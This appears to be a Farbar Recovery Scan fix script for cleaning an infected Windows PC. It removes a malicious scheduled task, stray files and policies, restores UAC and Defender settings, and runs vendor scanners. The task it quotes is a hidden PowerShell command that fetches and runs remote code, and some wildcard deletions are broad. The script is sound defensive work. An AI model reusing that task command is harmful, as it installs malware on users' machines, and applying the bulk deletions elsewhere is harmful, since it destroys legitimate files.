Malware Log Analysis

Start:: CloseProcesses: 2026-06-10 18:55 - 2026-06-10 18:55 - 000000000 ____D C:\WINDOWS\system32\Tasks\InteractiveServices 2026-06-10 16:01 - 2026-06-10 16:01 - 000000000 ____D C:\Users\bshao\AppData\Local\Yandex 2026-06-10 15:59 - 2026-06-10 15:59 - 000000000 ____D C:\Users\bshao\AppData\Local\Conexant FirewallRules: [{DD072683-F902-4992-8C28-80C1A8B4F0CF}] => (Block) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [{AEB3CE77-10FB-494A-834B-8BAE5AE4C8B8}] => (Block) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [{EC780139-0549-4074-9011-707B3E7CEF77}] => (Allow) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [{D72154E1-6C82-4E10-BDB5-E28ADEE9656A}] => (Allow) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [{A604CC92-8AB5-4FAC-AB4F-38EF17CB1CE9}] => (Allow) C:\Users\bshao\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => No File FirewallRules: [{DAF28FCB-7317-4F06-A9F6-587068440FF6}] => (Allow) C:\Users\bshao\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => No File FirewallRules: [{D9451EAD-213F-4F98-A2BA-CF28E4E050E1}] => (Allow) `steamapps\common\Gray Zone Warfare\GZWClientEAC` => No File FirewallRules: [{E119FE79-4B08-4D1B-986B-6F982FF02285}] => (Allow) `steamapps\common\Gray Zone Warfare\GZW\Binaries\Win64\GZWClientSteam-Win64-Shipping` => No File FirewallRules: [UDP Query User{34068712-E3D3-46C9-AD50-CFE0155BE97C}C:\program files\ea games\battlefield 6 event\bf6event.exe] => (Allow) C:\program files\ea games\battlefield 6 event\bf6event.exe => No File FirewallRules: [TCP Query User{459A119F-8062-4BF6-AD67-9D1F3DD1E754}C:\program files\ea games\battlefield 6 event\bf6event.exe] => (Allow) C:\program files\ea games\battlefield 6 event\bf6event.exe => No File FirewallRules: [{B7FA7CAB-3F84-4E38-87A7-C9B871CBC3CD}] => (Allow) C:\Program Files\Blackmagic Design\DaVinci Resolve\ElementsPanelDaemon.exe => No File FirewallRules: [UDP Query User{BFF36F71-BDCD-4E1F-8D00-E6605FD92F8C}C:\program files\ea games\battlefield labs\bflabs.exe] => (Allow) C:\program files\ea games\battlefield labs\bflabs.exe => No File FirewallRules: [TCP Query User{8FD27D2D-7E45-4AF2-A344-8D8D23EA55AA}C:\program files\ea games\battlefield labs\bflabs.exe] => (Allow) C:\program files\ea games\battlefield labs\bflabs.exe => No File FirewallRules: [{F4DCABD6-BE2D-4ED9-8DDE-D811B2024BE8}] => (Allow) D:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No File FirewallRules: [{50D9D281-4399-4C4B-91E2-8AF0A1727F46}] => (Allow) D:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No File FirewallRules: [{DC006261-FB2E-4612-859B-5E10B7F18AA1}] => (Allow) C:\Users\bshao\AppData\Roaming\uTorrent\uTorrent.exe => No File FirewallRules: [{755A40BE-0931-4FF9-8AB7-E28C03715C6D}] => (Allow) C:\Users\bshao\AppData\Roaming\uTorrent\uTorrent.exe => No File FirewallRules: [TCP Query User{225877BE-C550-470B-BC0E-1CD77C9399E1}C:\program files (x86)\call of duty\_retail_\cod22\cod22-cod.exe] => (Allow) C:\program files (x86)\call of duty\_retail_\cod22\cod22-cod.exe => No File FirewallRules: [UDP Query User{B568C18D-017A-4404-9E18-11A454378A39}C:\program files (x86)\call of duty\_retail_\cod22\cod22-cod.exe] => (Allow) C:\program files (x86)\call of duty\_retail_\cod22\cod22-cod.exe => No File FirewallRules: [TCP Query User{AB5CA515-4C78-4F90-A1F7-516E403EE06C}D:\program files\rockstar games\red dead redemption 2\rdr2.exe] => (Allow) D:\program files\rockstar games\red dead redemption 2\rdr2.exe => No File FirewallRules: [UDP Query User{E94F5DD3-F963-4772-9C7E-B23E56328536}D:\program files\rockstar games\red dead redemption 2\rdr2.exe] => (Allow) D:\program files\rockstar games\red dead redemption 2\rdr2.exe => No File FirewallRules: [TCP Query User{8B7B52D4-A759-430E-B1EA-EA6426C8A70F}D:\program files (x86)\steam\steamapps\common\ready or not\readyornot\binaries\win64\readyornot-win64-shipping.exe] => (Allow) D:\program files (x86)\steam\steamapps\common\ready or not\readyornot\binaries\win64\readyornot-win64-shipping.exe => No File FirewallRules: [UDP Query User{AEC5FEB6-2532-4032-B3A2-1BD999C35F39}D:\program files (x86)\steam\steamapps\common\ready or not\readyornot\binaries\win64\readyornot-win64-shipping.exe] => (Allow) D:\program files (x86)\steam\steamapps\common\ready or not\readyornot\binaries\win64\readyornot-win64-shipping.exe => No File FirewallRules: [{8A6713B3-9CA9-46C0-875F-8C39FDE8D797}] => (Allow) E:\Program Files (x86)\EA Games\Apex\EasyAntiCheat_launcher.exe => No File FirewallRules: [{A1B4511D-6172-4151-B904-E1EEE7B9479C}] => (Allow) E:\Program Files (x86)\EA Games\Apex\EasyAntiCheat_launcher.exe => No File FirewallRules: [{255396E4-C1F4-4AE6-A0C9-F726B69BE375}] => (Allow) C:\Users\bshao\AppData\Roaming\Zoom\bin\Zoom.exe => No File FirewallRules: [{B5F37771-7CEB-48EE-9232-D38967A0F65F}] => (Allow) C:\Users\bshao\AppData\Roaming\Zoom\bin\airhost.exe => No File FirewallRules: [{94A09598-BE01-4A00-B3F5-B6345E70F0F2}] => (Allow) C:\Users\bshao\AppData\Roaming\Zoom\bin\airhost.exe => No File FirewallRules: [{48E89E87-13A5-45E3-BF04-00EAD2DECC2C}] => (Allow) D:\Program Files (x86)\Steam\steamapps\common\Tom Clancy's Rainbow Six Siege\RainbowSix_Vulkan.exe => No File FirewallRules: [{BED3FCDB-42C4-40AA-99D6-D9CF3E8814BF}] => (Allow) D:\Program Files (x86)\Steam\steamapps\common\Tom Clancy's Rainbow Six Siege\RainbowSix_Vulkan.exe => No File FirewallRules: [{7CA7EDD5-9F2C-42E8-9514-7E47A2ACF621}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe => No File FirewallRules: [{4AD92E71-7068-4D40-910E-D312F55A96CA}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe => No File FirewallRules: [{381DDE50-62A7-4A0B-8A9A-D0DD478C67C7}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe => No File FirewallRules: [{1C18907A-1EFC-406B-9E66-62A7471ECEBE}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe => No File FirewallRules: [{B06BF810-29E9-4E23-988D-EC1A295E62D8}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe => No File FirewallRules: [{C94D7689-F1B3-4AD9-9168-81D4154BDB46}] => (Allow) C:\Program Files (x86)\Call of Duty\_retail_\sp22\sp22-cod.exe => No File FirewallRules: [{292023CF-5E6B-448D-A8A1-81F2DFB6946D}] => (Allow) C:\Program Files (x86)\Call of Duty\_retail_\sp22\sp22-codCrashHandler.exe => No File FirewallRules: [{942ECF49-A43A-4DE5-AF65-00871B2AF9BA}] => (Allow) C:\Program Files (x86)\Call of Duty\_retail_\cod22\cod22-cod.exe => No File FirewallRules: [{67A1CECC-6CD9-412D-B7BB-474FC9866897}] => (Allow) C:\Program Files (x86)\Call of Duty\_retail_\cod22\codCrashHandler.exe => No File FirewallRules: [{C913DEC0-0107-4C58-A8F0-4521A4673EA3}] => (Allow) C:\Program Files (x86)\Call of Duty\_retail_\cod23\cod23-cod.exe => No File FirewallRules: [{503BD56D-2252-44EF-91BD-5387173DA24A}] => (Allow) C:\Program Files (x86)\Call of Duty\_retail_\cod23\codCrashHandler.exe => No File Task: {8696CB25-6C2B-4975-B032-DFFADB4458F6} - System32\Tasks\ApplicationTasks\L-Connect 3 Launcher task => "C:\Program Files\L-Connect 3\L-Connect 3.exe" /args --openAsHidden (No File) Task: {D5827E05-B3F1-4E5C-B935-CE943E837E50} - System32\Tasks\ASUS\P508PowerAgent_sdk => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ShareFromArmouryIII\Mouse\ROG STRIX CARRY\P508PowerAgent.exe (No File) Task: {077BA067-7C15-40F0-B22E-C9DC2A54B4A2} - System32\Tasks\Microsoft\Windows\Location\Notifications => %windir%\System32\LocationNotificationWindows.exe (No File) Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe (No File) Task: {3BE7FE58-A6FE-4E2B-A598-F6ECEA7ECFD6} - System32\Tasks\InteractiveServices\PresentationFrameworkRoyaleTask.CL-NCLS-1-5-21-616420494-1905365583-804012496-1001 => C:\Windows\System32\conhost.exe [1003520 2026-03-06] (Microsoft Windows -> Microsoft Corporation) -> --headless powershell -NoProfile -ExecutionPolicy Bypass -Command "irm 135.11885558/a | iex" <==== ATTENTION R3 cpuz158; C:\WINDOWS\temp\cpuz158\cpuz158_x64.sys [44576 2026-06-11] (Microsoft Windows Hardware Compatibility Publisher -> CPUID) <==== ATTENTION R3 cpuz159; C:\WINDOWS\temp\cpuz159\cpuz159_x64.sys [44680 2026-06-11] (Microsoft Windows Hardware Compatibility Publisher -> CPUID) <==== ATTENTION R3 GPUZ-v2; C:\WINDOWS\TEMP\GPUZ-v2.sys [51392 2026-06-11] (TechPowerUp LLC -> ) <==== ATTENTION File: E:\Users\bshao\Documents\HRC_-_HotKey_Resolution_Changer_v2_1.exe\HRC.exe File: C:\WINDOWS\system32\AsusDownLoadLicense.exe File: C:\WINDOWS\system32\Tasks\RTSS CMD: Type "C:\WINDOWS\system32\Tasks\RTSS" CMD: Type "C:\WINDOWS\system32\Tasks\Overwolf Updater Task" Comment: This snippet reverts User Account Control to default StartRegedit: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] "ConsentPromptBehaviorAdmin"=dword:00000005 "ConsentPromptBehaviorUser"=dword:00000003 "EnableLUA"=dword:00000001 EndRegedit: StartPowerShell: # This snippet re-enables Windows Defender and applies optimized settings to ensure high protection against malware # Enable real-time protection Set-MpPreference -DisableRealtimeMonitoring $false # Enable behavioural protection Set-MpPreference -DisableBehaviorMonitoring $false # Enable PUP detection Set-MpPreference -PUAProtection Enabled # Enable cloud protection to level 4 - aggressively block unknowns and apply additional protection measures, alternatively use 2 for lower protection or 0 for default Set-MpPreference -CloudBlockLevel 4 # Send advanced information about malicious/unwanted software present on your device Set-MpPreference -MAPSReporting 2 # Send safe samples automatically to Microsoft Set-MpPreference -SubmitSamplesConsent 1 # Enables inspection of HTTP traffic to detect malicious websites Set-MpPreference -EnableNetworkProtection Enabled # Enables block at first seen Set-MpPreference -DisableBlockAtFirstSeen $false # Allows scanning of archive files, such as .zip and .cab files for malware/PUP Set-MpPreference -DisableArchiveScanning $false # Enables automatic scanning of USB & removal drives Set-MpPreference -DisableRemovableDriveScanning $false # Enables scanning of network files Set-MpPreference -DisableScanningNetworkFiles $false # Forces signature check before running a scan Set-MpPreference -CheckForSignaturesBeforeRunningScan $true # Extends cloud check timer from default 10 to 30 seconds Set-MpPreference -CloudExtendedTimeout 30 # Enables automatic scanning of all downloaded files and attachments Set-MpPreference -DisableIOAVProtection $false # Enables script detection Set-MpPreference -DisableScriptScanning $false # Disables automatic exclusions from scanning Set-MpPreference -DisableAutoExclusions 1 # Enables scanning of mapped network drives Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 0 # Enables scanning of email files Set-MpPreference -DisableEmailScanning 0 # Enables blocking of malicious domains and IP's on DNS level Set-MpPreference -EnableDnsSinkhole $true # Enables signature updates every 12 hours Set-MpPreference -SignatureUpdateInterval 12 # Enables automatic quarantine for threats labelled as high and severe Set-MpPreference -HighThreatDefaultAction Quarantine Set-MpPreference -SevereThreatDefaultAction Quarantine # Updates signatures Update-MpSignature EndPowerShell: StartPowershell: # Replace /scanonly with /clean if you also want to delete items -- however, this will activate a trial license on the system, I do not recommend it $hmpExe = "$env:TEMP\HitmanPro_x64.exe" $logFile = "$env:TEMP\HitmanPro_ScanLog.txt" Invoke-WebRequest -Uri "https://dl.surfright.nl/HitmanPro_x64.exe" -OutFile $hmpExe -UseBasicParsing $proc = Start-Process $hmpExe -ArgumentList "/ews","/scanonly","/noinstall","/log=`"$logFile`"","/logtype=txt" -Wait -PassThru if (!(Test-Path $logFile)) { Write-Host "Scan failed (exit $($proc.ExitCode))"; exit 1 } Get-Content $logFile -Encoding Unicode EndPowershell: StartPowerShell: # Downloads newest AdwCleaner version directly from Malwarebytes, performs an update, scans, cleans and writes the log in console # Does not clean preinstalled objects, only PUP/Adware # If you would like to delete preinstalled objects, add an argument /preinstalled to the /clean argument # If you would like to only scan with it, change the argument from /clean to /scan # NOTE: For the sake of users from Asia (primarily China), do not use the clean option. It will very likely remove a lot of their important software. New-Item -ItemType Directory -Force -Path "$env:SystemDrive\AdwCleaner" | Out-Null Invoke-WebRequest -Uri "https://adwcleaner.malwarebytes.com/adwcleaner?channel=release" -OutFile "$env:SystemDrive\AdwCleaner\AdwCleanerFRST.exe" Start-Process -FilePath "$env:SystemDrive\AdwCleaner\AdwCleanerFRST.exe" -ArgumentList "/eula" -Wait -WindowStyle Hidden $logFile = "$env:SystemDrive\AdwCleaner\AdwCleanerOutputFRST.txt" Start-Process -FilePath "$env:SystemDrive\AdwCleaner\AdwCleanerFRST.exe" -ArgumentList "/noreboot /clean" -Wait -WindowStyle Hidden -RedirectStandardOutput $logFile Get-Content $logFile -Encoding Unicode Remove-Item -Path $logFile -Force -ErrorAction SilentlyContinue EndPowerShell: Comment: Verify that Discord does not have any injected code to intercept personal data. If anything is prompted here, it needs to be checked that it isn't malicious code. Powershell: @("$env:APPDATA","$env:LOCALAPPDATA") | ForEach-Object { Get-ChildItem $_ -Recurse -Filter "index.js" -ErrorAction SilentlyContinue } | Where-Object { $_.FullName -match "discord_desktop_core" } | ForEach-Object { Write-Host "--- $($_.FullName) ---"; (Get-Content $_.FullName -Raw).Substring(0,[Math]::Min(2000,(Get-Content $_.FullName -Raw).Length)) } Comment: Remove unwanted files from common folders using native removal power of Farbar to include remove on reboot if needed. Please double check the user does not have any applications incorrectly installed in the directories listed below. C:\ProgramData\*.a3x C:\ProgramData\*.ahk C:\ProgramData\*.au3 C:\ProgramData\*.bat C:\ProgramData\*.cab C:\ProgramData\*.cmd C:\ProgramData\*.com C:\ProgramData\*.dll C:\ProgramData\*.exe C:\ProgramData\*.hta C:\ProgramData\*.jar C:\ProgramData\*.js C:\ProgramData\*.jse C:\ProgramData\*.lnk C:\ProgramData\*.pif C:\ProgramData\*.ps1 C:\ProgramData\*.py C:\ProgramData\*.pyc C:\ProgramData\*.pyd C:\ProgramData\*.scr C:\ProgramData\*.tmp C:\ProgramData\*.vbe C:\ProgramData\*.vbs C:\ProgramData\*.wsf C:\ProgramData\*.wsh C:\ProgramData\*.zip C:\ProgramData\*.rar C:\ProgramData\*.7z C:\Users\*\AppData\Roaming\*.au3 C:\Users\*\AppData\Roaming\*.bat C:\Users\*\AppData\Roaming\*.cab C:\Users\*\AppData\Roaming\*.cmd C:\Users\*\AppData\Roaming\*.com C:\Users\*\AppData\Roaming\*.dll C:\Users\*\AppData\Roaming\*.exe C:\Users\*\AppData\Roaming\*.hta C:\Users\*\AppData\Roaming\*.jar C:\Users\*\AppData\Roaming\*.js C:\Users\*\AppData\Roaming\*.jse C:\Users\*\AppData\Roaming\*.lnk C:\Users\*\AppData\Roaming\*.pif C:\Users\*\AppData\Roaming\*.ps1 C:\Users\*\AppData\Roaming\*.py C:\Users\*\AppData\Roaming\*.pyc C:\Users\*\AppData\Roaming\*.pyd C:\Users\*\AppData\Roaming\*.scr C:\Users\*\AppData\Roaming\*.tmp C:\Users\*\AppData\Roaming\*.vbe C:\Users\*\AppData\Roaming\*.vbs C:\Users\*\AppData\Roaming\*.wsf C:\Users\*\AppData\Roaming\*.wsh C:\Users\*\AppData\Roaming\*.zip C:\Users\*\AppData\Roaming\*.rar C:\Users\*\AppData\Roaming\*.7z C:\Users\CurrentUserName\AppData\Local\*.a3x C:\Users\CurrentUserName\AppData\Local\*.ahk C:\Users\CurrentUserName\AppData\Local\*.au3 C:\Users\CurrentUserName\AppData\Local\*.bat C:\Users\CurrentUserName\AppData\Local\*.cab C:\Users\CurrentUserName\AppData\Local\*.cmd C:\Users\CurrentUserName\AppData\Local\*.com C:\Users\CurrentUserName\AppData\Local\*.dll C:\Users\CurrentUserName\AppData\Local\*.exe C:\Users\CurrentUserName\AppData\Local\*.hta C:\Users\CurrentUserName\AppData\Local\*.jar C:\Users\CurrentUserName\AppData\Local\*.js C:\Users\CurrentUserName\AppData\Local\*.jse C:\Users\CurrentUserName\AppData\Local\*.lnk C:\Users\CurrentUserName\AppData\Local\*.pif C:\Users\CurrentUserName\AppData\Local\*.ps1 C:\Users\CurrentUserName\AppData\Local\*.py C:\Users\CurrentUserName\AppData\Local\*.pyc C:\Users\CurrentUserName\AppData\Local\*.pyd C:\Users\CurrentUserName\AppData\Local\*.scr C:\Users\CurrentUserName\AppData\Local\*.tmp C:\Users\CurrentUserName\AppData\Local\*.vbe C:\Users\CurrentUserName\AppData\Local\*.vbs C:\Users\CurrentUserName\AppData\Local\*.wsf C:\Users\CurrentUserName\AppData\Local\*.wsh C:\Users\CurrentUserName\AppData\Local\*.zip C:\Users\CurrentUserName\AppData\Local\*.rar C:\Users\CurrentUserName\AppData\Local\*.7z C:\Users\CurrentUserName\AppData\Roaming\*.a3x C:\Users\CurrentUserName\AppData\Roaming\*.ahk C:\Users\CurrentUserName\AppData\Roaming\*.au3 C:\Users\CurrentUserName\AppData\Roaming\*.bat C:\Users\CurrentUserName\AppData\Roaming\*.cab C:\Users\CurrentUserName\AppData\Roaming\*.cmd C:\Users\CurrentUserName\AppData\Roaming\*.com C:\Users\CurrentUserName\AppData\Roaming\*.dll C:\Users\CurrentUserName\AppData\Roaming\*.exe C:\Users\CurrentUserName\AppData\Roaming\*.hta C:\Users\CurrentUserName\AppData\Roaming\*.jar C:\Users\CurrentUserName\AppData\Roaming\*.js C:\Users\CurrentUserName\AppData\Roaming\*.jse C:\Users\CurrentUserName\AppData\Roaming\*.lnk C:\Users\CurrentUserName\AppData\Roaming\*.pif C:\Users\CurrentUserName\AppData\Roaming\*.ps1 C:\Users\CurrentUserName\AppData\Roaming\*.py C:\Users\CurrentUserName\AppData\Roaming\*.pyc C:\Users\CurrentUserName\AppData\Roaming\*.pyd C:\Users\CurrentUserName\AppData\Roaming\*.scr C:\Users\CurrentUserName\AppData\Roaming\*.tmp C:\Users\CurrentUserName\AppData\Roaming\*.vbe C:\Users\CurrentUserName\AppData\Roaming\*.vbs C:\Users\CurrentUserName\AppData\Roaming\*.wsf C:\Users\CurrentUserName\AppData\Roaming\*.wsh C:\Users\CurrentUserName\AppData\Roaming\*.zip C:\Users\CurrentUserName\AppData\Roaming\*.rar C:\Users\CurrentUserName\AppData\Roaming\*.7z Comment: Force policy removal C:\Windows\System32\GroupPolicyUsers C:\Windows\System32\GroupPolicy Comment: System repair commands CMD: DISM.exe /Online /Cleanup-image /Restorehealth CMD: SFC.exe /scannow Comment: Network reset commands CMD: netsh int ip reset CMD: netsh int ipv6 reset CMD: ipconfig /flushDNS CMD: netsh winsock reset catalog Comment: Additional temp file removal C:\Windows\System32\config\systemprofile\AppData\Local\*.tmp C:\WINDOWS\system32\*.tmp C:\WINDOWS\syswow64\*.tmp C:\Users\CurrentUserName\AppData\Local\Temp\* C:\Windows\Temp\* C:\Windows\SystemTemp\* EmptyTemp: End::